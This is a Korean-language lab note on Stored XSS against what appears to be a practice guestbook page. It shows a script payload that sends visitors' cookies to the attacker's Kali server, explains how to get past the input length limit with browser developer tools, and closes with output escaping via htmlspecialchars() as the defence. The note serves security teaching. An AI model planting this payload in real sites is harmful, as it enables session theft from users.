스토어드 크로스 사이트 스크립팅(Stored XSS) 공격 개요
- 리플렉티드와 달리 바로 반사되는 것이 아니라, 웹 서버에 저장되었다가 실행 됨
- 피싱 과정이 필요 없고 페이지를 접속하는 모든 사용자가 공격할 수 있으므로 더 심각함
스토어드 크로스 사이트 스크립팅(Stored XSS) 공격 실습
- 방명록에 자바스크립트를 삽입 후 방명록에 방문하는 사용자 쿠키 정보 탈취하는 것이 목적
- 리플렉티드 공격처럼 칼리의 아파치 웹 서버 실행, 접근 로그(access.log)를 모니터링 하도록 tail명령어 실행
ㄴ #tail -f /var/log/apache2/access.log
- 페이지는 방명록이 구현되어있고, 이름과 메시지를 남길 수 있게 되어있음
- 1. 메시지칸에 쿠키 출력 스크립트를 삽입
ㄴ <script>document.location='http://칼리IP/cookie?'+document.cookie</script>
ㄴ 방명록에 최대 글자 수 제한이 있어서 우회할 필요가 있음
ㄴ 웹브라우저 내장기능을 이용해서도 우회 가능 (마우스 우클릭 - Inspect Element메뉴 클릭 시 마우스가 가리키는 부분의 HTML코드를 수정 가능, maxlength의 값을 변경
ㄴ 클라이언트 측 입력값 제한, 검증은 쉽게 우회 가능
- 2. access.log 파일 확인 (쿠키 정보가 담긴 요청 기록이 있음)
ㄴ 스토어드 XSS는 방명록에 글이 남겨진 것 이므로 이후 글을 보는 모든 사용자는 공격에 당하므로, 처음부터 접속 후 스토어드 실습 페이지 요청시 스크립트가 재실행되는 것을 확인할 수 있음
크로스 사이트 스크립팅 공격 대응
- 시큐어 코딩(스크립트를 입력해도 실행되지 않도록 단순 문자열로 표시하도록 하는것이 가장 좋음)
ㄴ Impossible level의 소스코드 $message = htmlspecialchars( $message ); 에 주목
ㄴ htmlspecialchars() 함수는 &, ", ', <, > 같은 특수문자들을 HTML 엔티티로 변환